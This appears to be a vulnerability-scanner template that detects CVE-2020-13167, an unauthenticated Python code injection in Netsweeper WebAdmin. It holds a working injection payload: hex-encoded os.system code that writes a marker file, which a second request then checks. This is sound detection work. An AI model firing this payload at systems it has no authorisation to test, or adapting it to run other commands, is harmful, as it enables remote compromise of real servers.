id: CVE-2020-13167

info:
  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
  author: dwisiswant0
  severity: critical
  description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
  tags: cve,cve2020,netsweeper,rce,python,webadmin
  reference:
    - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
    - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-13167
    cwe-id: CWE-78
  metadata:
    hex-payload: 'echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out'

requests:
  - method: GET
    path:
      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
      - "{{BaseURL}}/webadmin/out"

    headers:
      Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "nonexistent"
        part: body

      - type: status
        status:
          - 200